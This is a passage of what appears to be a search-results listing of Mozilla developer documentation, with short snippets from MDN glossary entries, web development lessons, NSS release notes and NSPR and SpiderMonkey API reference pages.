it's fun to watch the ball bouncing off the walls and be able to move the paddle around, but other than that the game does nothing and doesn't have any progression or end goal.
...if you miss the ball with the paddle and let it reach the bottom edge of the screen, then it's game over.
... first, replace where you initially called setinterval() setinterval(draw, 10); with: var interval = setinterval(draw, 10); then replace the second if statement with the following: if(y + dy < ballradius) { dy = -dy; } else if(y + dy > canvas.height-ballradius) { alert("game over"); document.location.reload(); clearinterval(interval); // needed for chrome to end game } letting the paddle hit the ball the last thing to do in this lesson is to create some kind of collision detection between the ball and the paddle, so it can bounce off it and get back into the play area.
...And 3 more matches
Packet - MDN Web Docs Glossary: Definitions of Web-related terms
a packet, or network packet, is a formatted chunk of data sent over a network.
...it is a field that is decreases by one each time a packet goes through, once it reaches 0 it has failed and the packet is discarded.
...forward error correction is when the receiver uses the error-correcting code which automatically corrects the errors at the transmitter, the calculation is performed before the packet is sent.
...And 3 more matches
Thread - MDN Web Docs Glossary: Definitions of Web-related terms
each unit capable of executing code is called a thread.
... however, modern javascript offers ways to create additional threads, each executing independently while possibly communicating between one another.
... this is done using technologies such as web workers, which can be used to spin off a sub-program which runs concurrently with the main thread in a thread of its own.
...And 3 more matches
UDP (User Datagram Protocol) - MDN Web Docs Glossary: Definitions of Web-related terms
udp uses a simple connectionless communication model with a minimum of protocol mechanism.
... udp provides checksums for data integrity, and port numbers for addressing different functions at the source and destination of the datagram.
...if error-correction facilities are needed at the network interface level, an application may use the transmission control protocol (tcp) or stream control transmission protocol (sctp) which are designed for this purpose.
...And 3 more matches
Whitespace - MDN Web Docs Glossary: Definitions of Web-related terms
whitespace is a set of characters which is used to show horizontal or vertical spaces between other characters.
...whitespace characters and their usage vary between languages.
... in html html living standard specifies 5 characters as the ascii whitespace: u+0009 tab, u+000a lf, u+000c ff, u+000d cr, and u+0020 space.
...And 3 more matches
Percent-encoding - MDN Web Docs Glossary: Definitions of Web-related terms
percent-encoding is a mechanism to encode 8-bit characters that have specific meaning in the context of urls.
...the encoding consists of substitution: a '%' followed by the hexadecimal representation of the ascii value of the replace character.
... special characters needing encoding are: ':', '/', '?', '#', '[', ']', '@', '!', '$', '&', "'", '(', ')', '*', '+', ',', ';', '=', as well as '%' itself.
...And 3 more matches
Test your skills: Images and Form elements - Learn web development
the aim of this task is to help you check your understanding of some of the values and units that we looked at in the lesson on images, media and form elements.
... note: you can try out solutions in the interactive editors below, however, it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... in the example below see if you can match the image above.
...And 3 more matches
What is accessibility? - Learn web development
summary because of physical or technical limitations, maybe your visitors can't experience your website the way you hoped.
... web accessibility in the specific context of the web, accessibility means that anyone can benefit from your content, regardless of disability, location, technical limitations, or other circumstances.
... the basics of web accessibility a few necessities for basic web accessibility include: whenever your site needs an image to convey meaning, include text as an alternative for visually-challenged users or those with slow connections.
...And 3 more matches
Define terms with HTML - Learn web development
the clear blue sky of a subtle sadness, melancholy.
...we use <dfn>, which is a special element just for marking the first occurrence of keywords.
... </span> you can download it at <a href="http://www.mozilla.org">mozilla.org</a> </p> assistive technology can often use this attribute to find a text alternative to a given term.
...And 3 more matches
Introduction to HTML - Learn web development
at its heart, html is a fairly simple language made up of elements, which can be applied to pieces of text to give them different meaning in a document (is it a paragraph?
...a navigation menu?), and embed content such as images and videos into a page.
... note: if you are working on a computer/tablet/other devices that doesn't let you create your own files, you can try out (most of) the code examples in an online coding program such as jsbin or glitch.
...And 3 more matches
Multimedia and Embedding - Learn web development
note: if you are working on a computer/tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin or glitch.
... guides this module contains the following articles which will take you through all the fundamentals of embedding multimedia on webpages.
... from <object> to <iframe> — other embedding technologies at this point we'd like to take somewhat of a sideways step, looking at a couple of elements that allow you to embed a wide variety of content types into your webpages: the <iframe>, <embed> and <object> elements.
...And 3 more matches
Test your skills: Arrays - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
...we'd like you to: convert the string into an array, removing the + characters in the process.
... go over each item in the array and add its index number after the name inside parentheses, for example ryu (0).
...And 3 more matches
Test your skills: Strings - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... strings 2 in this task you are provided with two variables, quote and substring, which contain two strings.
...we want you to fix and update it, like so: change the casing to correct sentence case (all lowercase, except for upper case first letter).
...And 3 more matches
The business case for web performance - Learn web development
prerequisites: basic computer literacy, basic knowledge of client-side web technologies, and a basic understanding of web performance optimization.
...a performance budget is a set of limits that are set to specify limits, such as maximum number of http requests allowed, the maximum total size of all the assets combined, the minimum allowable fps on a specific device, etc, that must be maintained.
... the budget can be applied to a single file, a file type, all files loaded on a page, a specific metric, or a threshold over a period of time.the budget reflects reachable goals; whehter they are time, quantity, or rule based.
...And 3 more matches
Vue resources - Learn web development
nuxtjs — nuxtjs is a server-side vue framework, with some architectural opinions that can be useful to creating maintainable applications, even if you don’t use any of the server side rendering features it provides.
... vue school — another paid education platform specializing in vue.
... vue 3 vue 3 is a major release of the framework with a lot of major changes.
...And 3 more matches
Information for External Developers Dealing with Accessibility
implementing an msaa server, a practical guide a document for developers who need to support microsoft active accessibility (msaa) in a desktop application, in order to make it accessible with 3rd party assistive technologies, containing practical tips and the details of mozilla's implementation.
... accessible toolkit checklist a list of what needs to be done for accessibility when building new toolkits, widget by widget.
... in addition, here is a list of official keyboard ui guidelines for each desktop: windows keys: guidelines on keyboard ui design and on implementing keyboard shortcuts: an excellent resource from microsoft.
...And 3 more matches
Lightweight themes
how to create your own lightweight theme lightweight themes are made up of a "header" graphic image file, which skins the default firefox ui background.
... creating a theme header image the header image is displayed as the background of the top of the browser window, nestling in behind the toolbars, address bar, search bar and the tab strip.
... it will be anchored to the top-right corner of the browser window.
...And 3 more matches
Add-ons
they are written using standard web technologies - javascript, html, and css - plus some dedicated javascript apis.
... among other things, an add-on could: change the appearance or content of particular websites modify the firefox user interface add new features to firefox there are several types of add-ons, but the most common type are extensions.
...other toolsets, such as overlay add-ons, bootstrapped add-ons, and the add-on sdk, are no longer supported.
...And 3 more matches
Makefiles - Best practices and suggestions
all subsequent make calls must become a nop unless sources or dependencies change or have been removed.
... for ex, individual unit tests would invalidate all prior test activity whenever a test touched a timestamp file in the directory to signal success.
... parallel make: add an explicit timestamp dependency (.done) that make can synchronize threaded calls on to avoid a race condition.
...And 3 more matches
HTMLIFrameElement.findNext()
the findnext() method of the htmliframeelement highlights the next or previous instance of a search result after a findall() search has been carried out.
... invoking this method results in a mozbrowserfindchange event firing, which carries details about the search results.
... parameters direction a string indicating the direction in which you want to cycle through the available search results.
...And 3 more matches
mozbrowsercontextmenu
there may also be large incompatibilities between implementations and the behavior may change in the future.
... contextmenu a menu object (see the menu object, below) representing a custom menu defined via <menu> / <menuitem> elements and pointed to via a contextmenu attribute on the dom element clicked on, which contains the menu's id.
... the menu object an object representing a custom menu defined via <menu> / <menuitem> elements and pointed to via a contextmenu attribute on the dom element clicked on, which contains the menu's id.
...And 3 more matches
Getting from Content to Layout
changes to a document originate in the content tree (from dom modification by scripting, insertion of elements from the parser, etc.) and are propogated to the layout tree through magic that primarily resides in //github.com/realityripple/uxp/blob/master/layout/base/nscssframeconstructor.cpp the frame constructor implements nsimutationobserver which allows it to "watch" the content tree.
... nscssframeconstructor gets notified from the document's presshell (which implements nsidocumentobserver and observes the document) about all nodes in the document.
... the frame constructor takes these notifications and does the following: dispatches "restyle events" which trigger the reprocessing of relevant css selectors and any restyling that needs to occur.
...And 3 more matches
How to add a build-time test
the first link, though, is the "check" target in a makefile.
... standalone executables to add a test that is written in c or c++ and which is called as a standalone executable, a few things must be done.
... for now, enclose your test-related code (in the makefile) with ifdef enable_tests run the test program from the "check" target in the makefile.
...And 3 more matches
How to investigate Disconnect failures
an example of such a failure disconnect failures happens when one side is closing the connection and mozmill is unable to send the information over the bridge or when firefox crashes.
...we cannot investigate failures via mozmill, because we do not catch the crashes, so the crashes' information is not logged; we have to go to ci machines and investigate directly.
... check if firefox crashed: windows: [user]/appdata\roaming\mozilla\firefox\crash reports ubuntu: [user/home]/.mozilla/firefox/crash reports and there we can check by timestamp if firefox crashed when we had the disconnect.
...And 3 more matches
IPDL Best Practices
reference counting protocol actors is tricky here is the easiest way to get it right the first time (lessons learned from the http channel and geolocation protocols): allocpprotocol calls addref deallocpprotocol calls release this ensures that the actor will not disappear from under ipdl, and that you won't get bizarre crashes at other times if ipdl deletes the protocol tree.
... is there any chance that an ipdl function could be called after the protocol itself has been destroyed, or before it has been created?
... use a flag and the generated actordestroy function to control when ipdl functions can be called; see phttpchannelparent/child for an example.
...And 3 more matches
Infallible memory allocation
the term "infallible" means that your memory allocation request is guaranteed to succeed: your code can never see a failed request, and so doesn't need to check for failure.
... choosing a memory allocator as you write new code that needs to allocate memory, there are some simple rules to follow to help you decide whether to use a fallible or an infallible memory allocator: if you're allocating what may be a large chunk of memory, you should allocate the memory fallibly (using malloc() for example), and check the result to be sure it's not null.
...be sure to check the result for null.
...And 3 more matches
API-provided widgets
this is only used to display the shortcut as part of the tooltip for builtin widgets (which have strings inside customizablewidgets.properties).
... showinprivatebrowsing whether to show the widget in private browsing mode (optional, default: true) event handlers you can also define several event handlers which will be called at various stages in a widget's lifetime: event handler name description onbuild(adoc) only useful for custom widgets (and required there); a function that will be invoked with the document in which to build a widget.
... onbeforecreated(adoc) attached to all non-custom widgets; a function that will be invoked before the widget gets a dom node constructed, passing the document in which that will happen.
...And 3 more matches
JNI.jsm
if you would like to support versions before that, you can copy and paste the contents of the jsm file int jni stands for java native interface; this library allows calling java code running in java virtual machines (jvms), etc.
... if it is the sig of a typed array such as '[i' then adeclares must not be declared.
...however if it was a subclass such as geckointerface (org.mozilla.gecko.geckoappshell.geckointerface), then this will cause a crash.
...And 3 more matches
Encodings for localization files
this is tricky to hook up in the build process, so here it goes: file encoding notes toolkit/installer/windows/charset.mk ascii the win_installer_charset variable must be set to an encoding which matches toolkit/installer/windows/install.it charset= parameter.
...this must match the charset= parameter in this file, and the win_installer_charset parameter in charset.mk the fontname/fontsize/charset parameters in this file must be set to good values.
...eastern scripts will need to choose appropriate fonts that are shipped with windows.
...And 3 more matches
Localizing extension metadata on addons.mozilla.org
amo supports localized metadata for each extension.
... this data describes the extension, and doesn't necessarily change with each revision (but it can).
... getting translation help you are kindly advised not to use any automatic online translation, which can bring unpleasant low-quality output to users.
...And 3 more matches
Localization quick start guide
this guide is filled with all of the basic, technical information you need to get involved in the mozilla l10n program.
...as you near the end of this guide, you should be able to make a change to firefox in your local setting and then see that change in the firefox interface.
... remember, this guide will instruct you on the technical aspects of mozilla l10n only.
...And 3 more matches
Creating localizable web content
text content check that the text is factually correct for an international audience (e.g., mentions of en-us specific product pieces like specific search engines or dictionary should be adapted) look for strings that are likely hard to translate because they are unclear, use play on words or colloquialisms.
... depending on context, find alternate strings or document an explanation of the string for localizers check that we don't link in new pages to sub-pages with anchors.
... per-locale customizations check if there are alternative links for localized pages (e.g., links to mdn, addons.mozilla.org, or other external resources, are there translated equivalents we can use).
...And 3 more matches
GC and CC logs
it also creates a file named cc-edges-nnnn.log to which it dumps the parts of the heap visible to the cycle collector, which includes native c++ objects that participate in cycle collection, as well as js objects being held alive by those c++ objects.
... from the commandline tldr: if you just want shutdown gc/cc logs to debug leaks that happen in our automated tests, you probably want something along the lines of: moz_disable_content_sandbox=t moz_cc_log_directory=/full/path/to/log/directory/ moz_cc_log_shutdown=1 moz_cc_all_traces=shutdown ./mach ...
...by default, they go to a temporary directory which differs per os - it's /tmp/ on linux/bsd, $localappdata\temp\ on windows, and somewhere in /var/folders/ on mac (whatever the directory service returns for tmpd/ns_os_temp_dir).
...And 3 more matches
Profiling with Instruments
official apple documentation instruments user guide instruments user reference instruments help articles instruments help performance overview basic usage select "time profiler" from the "choose a profiling template for:" dialog.
... in the top left, next to the record and pause button, there will be a "[machine name] > all processes".
... how do we monitor performance counters (cache miss etc.)?
...And 3 more matches
Profiling with the Gecko Profiler and Local Symbols on Windows
profiling local builds as of march 2018, profiling local builds on windows should work out of the box, with full symbol information.
... in the past you had to need to run mach buildsymbols manually, but this is no longer needed.
...it looks like we consume too much memory when creating the symbol table for this to work in 32 bit firefox builds.
...And 3 more matches
Localization Use Cases
about-browser=o brskalniku {{browserbrandshortname}} solution in l20n, this problem can be easily solved by defining multiple variants of the browserbrandshortname entity, to match different grammatical cases of the noun.
...consequently, using the existing localization frameworks, the developer needs to predict which strings might need pluralization in other languages, and pluralize them even in english: availablesize = {[ plural(size) ]} availablesize[other] = {{$size}} {{$unit}} available an italian translation might look like this: availablesize = {[ plural(size) ]} availablesize[one] = {{$size}} {{$unit}} disponibile availablesize[other] = {{$size}} {{$unit}} disponibili it's easy to imagine how dev...
... solution l20n isolates each language so that grammatical requirements of one don't affect others.
...And 3 more matches
Leak And Bloat Tests
aim to provide a continuous check within mailnews and its sub-components for the following items: total memory leaks.
... provide a consistent number from build to build where no source code has changed.
... 08/04/2008: prefs.js created via tb with the above settings, the first section is for preferences included in tinderbox, the second section is ones which don't currently get set.
...And 3 more matches
NSPR Poll Method
this technical note documents the poll method of prfiledesc.
...each i/o layer is represented by a prfiledesc structure and the protocol of that layer is implemented by a priomethods table.
...to remain compatible with this potential semantic change, nspr clients should only use *out_flags as described in the how to use the poll method section below.
...And 3 more matches
Nonblocking IO In NSPR
introduction previously, all i/o in the netscape portable runtime (nspr) was blocking (or synchronous).
...one can make the new socket nonblocking by using <tt>pr_setsockopt()</tt> as in the example below (error checking is omitted for clarity): <tt>prfiledesc *sock;</tt> <tt>printn optval = 1;</tt> <tt>sock = pr_newtcpsocket();</tt> /* * make the socket nonblocking */ pr_setsockopt(sock, pr_sockopt_nonblocking, &optval, sizeof(optval)); programming constraints there are some constraints due to the use of nt asynchronous i/o in the nspr.
...once the io mode of a socket is committed, it cannot be changed.
...And 3 more matches
Condition Variables
this chapter describes the api for creating and destroying condition variables, notifying condition variables of changes in monitored data, and making a thread wait on such notification.
... condition variable type condition variable functions conditions are closely associated with a single monitor, which typically consists of a mutex, one or more condition variables, and the monitored data.
... a call to pr_waitcondvar causes a thread to block until a specified condition variable receives notification of a change of state in its associated monitored data.
...And 3 more matches
Interval Timing
this chapter describes printervaltime and the functions that allow you to use it for timing purposes: interval time type and constants interval functions interval time type and constants all timed functions in nspr require a parameter that depicts the amount of time allowed to elapse before the operation is declared failed.
... the type of such arguments is printervaltime.
... such parameters are common in nspr functions such as those used for i/o operations and operations on condition variables.
...And 3 more matches
Monitors
this chapter describes the nspr api for creation and manipulation of a mutex of type prmonitor.
...each subsequent time the thread successfully enters the same monitor, the thread's entry count is incremented again, and each time the thread exits the monitor, the thread's entry count is decremented.
... when the entry count for a thread reaches zero, the thread releases the monitor's lock, and other threads that were blocked while trying to enter the monitor will be rescheduled.
...And 3 more matches
PRIntervalTime
they are chosen to be appropriate for the host os, yet provide sufficient resolution and period to be useful to clients.
...interval times are accurate regardless of host processing requirements and are very cheap to acquire.
...since the sampling of the counter used to define an arbitrary epoch may have any 32-bit value, some care must be taken in the use of interval times.
...And 3 more matches
PR_FindSymbolAndLibrary
finds a symbol in one of the currently loaded libraries, and returns both the symbol and the library in which it was found.
... syntax #include <prlink.h> void* pr_findsymbolandlibrary ( const char *name, prlibrary **lib); parameters the function has these parameters: name the textual representation of the symbol to locate.
... lib a reference to a location at which the runtime will store the library in which the symbol was discovered.
...And 3 more matches
NSS_3.11.10_release_notes.html
nss 3.11.10 release notes 2008-12-10 newsgroup: <ahref="news: mozilla.dev.tech.crypto"="" news.mozilla.org="">mozilla.dev.tech.crypto</ahref="news:> contents introduction distribution information bugs fixed documentation compatibility feedback introduction network security services (nss) 3.11.10 is a patch release for nss 3.11.
...the tar.gz or zip file expands to an nss-3.11.10 directory containing three subdirectories: include - nss header files lib - nss shared libraries bin - nss tools and test programs you also need to download the nspr 4.7.1 binary distributions to get the nspr 4.7.1 header files and shared libraries, which nss 3.11.10 requires.
... bug 291384: certutil -k behavior doesn't match usage bug 374247: modutil -disable command not disabling modules' slots bug 384459: certification path validation fails when authority key identifier extension contains key identifier bug 385946: can't import certificate into cert database in fips mode (certutil).
...And 3 more matches
NSS 3.14.1 release notes
introduction network security services (nss) 3.14.1 is a patch release for nss 3.14.
... new functions in ocspt.h cert_createocspsingleresponsegood cert_createocspsingleresponseunknown cert_createocspsingleresponserevoked cert_createencodedocspsuccessresponse cert_createencodedocsperrorresponse new types in ocspt.h ​certocspresponderidtype notable changes in nss 3.14.1 windows ce support has been removed from the code base.
...however, when authenticating with such tokens, it was possible for an internal lock to be acquired twice, causing a hang.
...And 3 more matches
NSS 3.16.3 release notes
introduction network security services (nss) 3.16.3 is a patch release for nss 3.16.
...nss 3.16.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_3_rtm/src/ new in nss 3.16.3 this release consists primarily of ca certificate changes as listed below, and fixes an issue with a recently added utility function.
... notable changes in nss 3.16.3 the following 1024-bit ca certificates were removed cn = entrust.net secure server certification authority sha1 fingerprint: 99:a6:9b:e6:1a:fe:88:6b:4d:2b:82:00:7c:b8:54:fc:31:7e:15:39 cn = gte cybertrust global root sha1 fingerprint: 97:81:79:50:d8:1c:96:70:cc:34:d8:09:cf:79:44:31:36:7e:f4:74 ou = valicert class 1 policy validation authority sha1 fingerprint: e5:df:74:3c:b6:01:c4:9b:98:43:dc:ab:8c:e8:6a:81:10:9f:e4:8e o...
...And 3 more matches
NSS 3.20 release notes
introduction the nss team has released network security services (nss) 3.20, which is a minor release.
... new types in sslt.h ssldhegrouptype - enumerates the set of dhe parameters embedded in nss that can be used with function ssl_dhegroupprefset new macros in ssl.h ssl_enable_server_dhe - a socket option user to enable or disable dhe ciphersuites for a server socket notable changes in nss 3.20 the tls library has been extended to support dhe ciphersuites in server applications.
... nss embeds fixed dhe parameters sized 2048, 3072, 4096, 6144 and 8192 bits, which were copied from version 08 of the internet-draft "negotiated finite field diffie-hellman ephemeral parameters for tls", appendix a.
...And 3 more matches
NSS 3.27.2 Release Notes
introduction network security services (nss) 3.27.2 is a patch release for nss 3.27.
...this is a patch release to address a memory leak in the ssl_settrustanchors() function.
... notable changes in nss 3.27.2 the ssl_settrustanchors() function is used to set the distinguished names that an nss server includes in its tls certificaterequest message.
...And 3 more matches
NSS 3.28.3 release notes
introduction network security services (nss) 3.28.3 is a patch release for nss 3.28.
...this is a patch release to fix binary compatibility issues.
... bugs fixed in nss 3.28.3 nss version 3.28, 3.28.1 and 3.28.2 contained changes that were in violation with the nss compatibility promise.
...And 3 more matches
NSS 3.28.5 release notes
introduction network security services (nss) 3.28.5 is a patch release for nss 3.28.
...this is a patch release to update the list of root ca certificates.
... it backports the changes that were initially released in nss version 3.30.2.
...And 3 more matches
NSS 3.29.1 release notes
introduction network security services (nss) 3.29.1 is a patch release for nss 3.29.
...this is a patch release to fix binary compatibility issues.
... bugs fixed in nss 3.29.1 nss version 3.28, 3.28.1, 3.28.2 and 3.29 contained changes that were in violation with the nss compatibility promise.
...And 3 more matches
NSS 3.50 release notes
introduction the nss team has released network security services (nss) 3.50 on 7 february 2020, which is a minor release.
... notable changes in nss 3.50 verified primitives from hacl* were updated, bringing performance improvements for several platforms.
... note that intel processors with sse4 but without avx are currently unable to use the improved chacha20/poly1305 due to a build issue; such platforms will fall-back to less optimized algorithms.
...And 3 more matches
NSS Tools sslstrength
sslstrength summary a simple command-line client which connects to an ssl-server, and reports back the encryption cipher and strength used.
...if you want to test out a particular cipher, there are two ways to affect which ciphers are available.
...the argument to the ciphers command is a string of characters, where each single character represents a cipher.
...And 3 more matches
Migration to HG
each project now lives in its own separate space, they can be found at: https://hg.mozilla.org/projects/nspr/ https://hg.mozilla.org/projects/nss/ https://hg.mozilla.org/projects/jss/ https://hg.mozilla.org/projects/python-nss/ this migration has been used as an opportunity to change the layout of the source directories.
... for nspr, "mozilla/nsprpub" has been removed from the directory hierarchy, all files now live in the top directory of the nspr repository.
... besides the new layout, the build system hasn't changed.
...And 3 more matches
NSS reference
if you are inclined to help with this migration, your help would be very much appreciated.
... the proposed chapters below are based on the chapters of the ssl reference and the categories of functions in nss public functions.
... validating certificates cert_verifycertnow cert_verifycert cert_verifycertname cert_checkcertvalidtimes nss_cmpcertchainwcanames manipulating certificates cert_dupcertificate cert_destroycertificate sec_deletepermcertificate __cert_closepermcertdb getting certificate information cert_findcertbyname cert_getcertnicknames cert_freenicknames cert_getdefaultcertdb nss_findcertkeatype comparing secitem objects secitem_compareit...
...And 3 more matches
SSL functions
the mozilla cross reference (dxr) link for each function provides access to the function definition, prototype definition, and source code references.
... the nss version column indicates which versions of nss support the function.
... function name/documentation source code nss versions nss_getclientauthdata mxr 3.2 and later nss_setdomesticpolicy mxr 3.2 and later nss_setexportpolicy mxr 3.2 and later nss_setfrancepolicy mxr 3.2 and later nssssl_versioncheck mxr 3.2.1 and later ssl_authcertificate mxr 3.2 and later ssl_authcertificatehook mxr 3.2 and later ssl_badcerthook mxr 3.2 and later ssl_certdbhandleset mxr 3.2 and later ssl_canbypass mxr 3.11.7 and later ssl_cipherpolicyget mxr 3.2 and later ssl_cipherpolicyset mxr 3.2 and later ssl_cipherprefget mxr 3.2 and later ssl_cipherprefgetdefault mxr...
...And 3 more matches
NSS Tools pk12util
using the pkcs #12 tool (pk12util) newsgroup: mozilla.dev.tech.crypto the pkcs #12 utility makes sharing of certificates among enterprise server 3.x and any server (netscape products or non-netscape products) that supports pkcs#12 possible.
... the tool allows you to import certificates and keys from pkcs #12 files into nss or export them and also list certificates and keys in such files.
... each command takes several options.
...And 3 more matches
NSS Tools sslstrength
sslstrength summary a simple command-line client which connects to an ssl-server, and reports back the encryption cipher and strength used.
...if you want to test out a particular cipher, there are two ways to affect which ciphers are available.
...the argument to the ciphers command is a string of characters, where each single character represents a cipher.
...And 3 more matches
Multithreading in Necko
in the future, necko may be made thread safe to support changes to gecko that would put some other processing work on background threads (eg.
...when a socket can be read, the socket's listener is notified either synchronously (on the same thread) or asynchronously via a nsistreamlistenerproxy impl.
...each file transport object is given time on one of the file transport threads.
...And 3 more matches
JS::DeflateStringToUTF8Buffer
syntax // new in jsapi 52 void deflatestringtoutf8buffer(jsflatstring* src, mozilla::rangedptr<char> dst, size_t* dstlenp = nullptr, size_t* numcharsp = nullptr); // obsolete in spidermonkey 49 void deflatestringtoutf8buffer(jsflatstring* src, mozilla::rangedptr<char> dst); name type description src jsflatstring * the pointer to the string to deflate.
... dst mozilla::rangedptr<char> the ranged pointer to the buffer.
... numcharsp size_t* the pointer to receive the number of unicode characters written to the buffer.
...And 3 more matches
JS::Value
js::value is not inherently type-safe it is an error to call any accessor method on a value of a non-matching type: val.toint32() must only be called if val.isint32(), val.tostring() must only be called if val.isstring(), and so on.
...an assertion is thrown in the case that the type is not correct (val.isx() is called for each val.tox(), where x is the type).
... the garbage collector is designed to automatically free unreachable memory.
...And 3 more matches
JSHasInstanceOp
syntax typedef bool (* jshasinstanceop)(jscontext *cx, js::handleobject obj, js::mutablehandlevalue vp, bool *bp); name type description cx jscontext * the js context in which the type check is occurring.
... obj js::handleobject the "type" in the type check.
... v js::mutablehandlevalue the value whose type is being checked.
...And 3 more matches
JSNative
in particular, apis such as js_initclass and js_definefunctions create custom methods on javascript objects that are implemented as jsnative callbacks provided by the application, written in c/c++ code.
... syntax typedef bool (* jsnative)(jscontext *cx, unsigned argc, js::value *vp); name type description cx jscontext * the context in which the native function is being called.
... full documentation of how to define a jsnative (or a jsfastnative, the equivalent typedef which preceded it) is available in the api header "js/callargs.h" added in spidermonkey 24.
...And 3 more matches
JSObjectPrincipalsFinder
callback syntax typedef jsprincipals * (* jsobjectprincipalsfinder)(jscontext *cx, jsobject *obj); name type description cx jscontext * the context in which to find principals.
... description the javascript engine calls this callback to obtain principals for a jsprincipals.subsume check.
... for example, when a watchpoint triggers, the engine calls the callback, passing the watchpoint handler, to ensure that watchpoint handlers are invoked only when the watcher is permitted to watch the currently executing script.
...And 3 more matches
JSTraceOp
description jstraceop is the function type for trace operation of the class called to enumerate all traceable things reachable from obj's private data structure.
... for each such thing, a trace implementation must call one of the js_call*tracer variants on the thing.
...it must not change state of the object or corresponding native structures.
...And 3 more matches
JS_AddArgumentFormatter
syntax jsbool js_addargumentformatter(jscontext *cx, const char *format, jsargumentformatter formatter); void js_removeargumentformatter(jscontext *cx, const char *format); name type description cx jscontext * the context in which to install the formatter.
... format const char * the format string prefix that should be handled by formatter, or whose handler should be removed.
...(at the moment, js_addargumentformatter fails only if there is no memory available to record the registration.) js_addargumentformatter does not copy format, it points at the string storage allocated by the caller, which is typically a string constant.
...And 3 more matches
JS_AliasElement
syntax jsbool js_aliaselement(jscontext *cx, jsobject *obj, const char *name, jsint alias); name type description cx jscontext * the context in which to create the alias.
... obj jsobject * the object for which to create the alias.
... name const char * name of the element for which to create an alias.
...And 3 more matches
JS_CallFunction
syntax /* added in spidermonkey 31 */ bool js_callfunction(jscontext *cx, js::handleobject obj, js::handlefunction fun, const js::handlevaluearray& args, js::mutablehandlevalue rval); bool js_callfunctionname(jscontext *cx, js::handleobject obj, const char *name, const js::handlevaluearray& args, js::mutablehandlevalue rval); bool js_callfunctionvalue(jscontext *cx, js::handleobject obj, js::handlevalue fval, const js::handlevaluearray& args, js::mutablehandlevalue rval); /* obsolete since jsapi 30 */ bool js_callfunction(jscontext *cx, jsobject *obj, jsfunction *fun, unsigned argc, jsval *argv, jsval *rval); bool js_callfunctionname(jscontext *cx, jsobject *obj, co...
...nst char *name, unsigned argc, jsval *argv, jsval *rval); bool js_callfunctionvalue(jscontext *cx, jsobject *obj, jsval fval, unsigned argc, jsval *argv, jsval *rval); name type description cx jscontext * pointer to a js context from which to derive runtime information.
... obj js::handleobject the "current" object on which the function operates; the object specified here is "this" when the function executes.
...And 3 more matches
JS_DumpHeap
every jscontext is permanently associated with a jsruntime; each jsruntime contains a gc heap.
...when null, dump all things reachable from the runtime roots.
... when non-null, dump only things reachable from the object indicated.
...And 3 more matches
JS_EncodeString
syntax char * js_encodestring(jscontext *cx, jsstring *str); char * js_encodestringtoutf8(jscontext *cx, js::handlestring str); // added in spidermonkey 24 name type description cx jscontext * a context.
... description js_encodestring and js_encodestringtoutf8 convert the specified javascript str to a c string (an array of 8-bit chars).
...otherwise the high byte is simply dropped from each char16_t.
...And 3 more matches
JS_GetGlobalObject
(in javascript, global variables are stored as properties of the global object.) syntax jsobject * js_getglobalobject(jscontext *cx); name type description cx jscontext * the context from which to retrieve the global object.
... description this function is obsolete: use js_getglobalforobject or js_getglobalforscopechain instead.
...spidermonkey supports applications that have multiple global objects, such as the various window objects in a web browser.
...And 3 more matches
JS_GetPropertyAttrsGetterAndSetter
syntax jsbool js_getpropertyattrsgetterandsetter(jscontext *cx, jsobject *obj, const char *name, unsigned int *attrsp, jsbool *foundp, jspropertyop *getterp, jspropertyop *setterp); jsbool js_getucpropertyattrsgetterandsetter(jscontext *cx, jsobject *obj, const jschar *name, size_t namelen, unsigned int *attrsp, jsbool *foundp, jspropertyop *getterp, jspropertyop *setterp); jsbool js_getpropertyattrsgetterandsetterbyid(jscontext *cx, jsobject *obj, jsid id, unsigned int *attrsp, jsbool *foundp, jspropertyop *ge...
...tterp, jspropertyop *setterp); // added in spidermonkey 1.8.1 name type description cx jscontext * the context in which to perform the property lookup.
... obj jsobject * object from which to retrieve property attributes.
...And 3 more matches
JS_GetPropertyDefault
syntax bool js_getpropertydefault(jscontext *cx, jsobject *obj, const char *name, jsval def, js::mutablehandle<js::value> vp); bool js_getpropertybyiddefault(jscontext *cx, jsobject *obj, jsid id, jsval def, js::mutablehandle<js::value> vp); name type description cx jscontext * a context.
... obj js::handleobject object to search on for the property.
... name or id const char * or js::handleid name of the property to look up.
...And 3 more matches
JS_GetPropertyDescriptor
syntax bool js_getpropertydescriptor(jscontext *cx, js::handleobject obj, const char *name, js::mutablehandle<jspropertydescriptor> desc); // added in spidermonkey 31 bool js_getpropertydescriptorbyid(jscontext *cx, js::handleobject obj, js::handleid id, js::mutablehandle<jspropertydescriptor> desc); name type description cx jscontext * a context.
... obj js::handleobject the object to search for the property.
... id const char * or js::handleid the name of the property to look up.
...And 3 more matches
JS_GetStringBytes
syntax char * js_getstringbytes(jsstring *str); const char * js_getstringbytesz(jscontext *cx, jsstring *str); // added in jsapi 1.8.2 name type description cx jscontext * (js_getstringbytesz and js_encodestring only) a context.
... description js_getstringbytes and js_getstringbytesz convert the specified javascript string, str, to a c string (an array of 8-bit chars).
...otherwise the high byte is simply dropped from each jschar.
...And 3 more matches
JS_InstanceOf
syntax bool js_instanceof(jscontext *cx, js::handle<jsobject*> obj, const jsclass *clasp, js::callargs *args); // added in spidermonkey 38 bool js_instanceof(jscontext *cx, js::handle<jsobject*> obj, const jsclass *clasp, jsval *argv); // obsolete since jsapi 32 name type description cx jscontext * pointer to a js context from which to derive runtime information.
... clasp jsclass * class against which to test the object.
...obsolete since jsapi 32 description js_instanceof can be used to check whether an object obj is of a particular jsclass.
...And 3 more matches
JS_NewRegExpObject
syntax jsobject * js_newregexpobject(jscontext *cx, js::handleobject obj, const char *bytes, size_t length, unsigned flags); jsobject * js_newucregexpobject(jscontext *cx, js::handleobject obj, const char16_t *chars, size_t length, unsigned flags); jsobject * js_newregexpobjectnostatics(jscontext *cx, char *bytes, size_t length, unsigned flags); jsobject * js_newucregexpobjectnostatics(jscontext *cx, char16_t *chars, size_t length, unsigned flags); name type description cx jscontext * the context in which to create the new object.
... bytes or chars const char * or const char16_t * a pointer to the string that contains a regular expression.
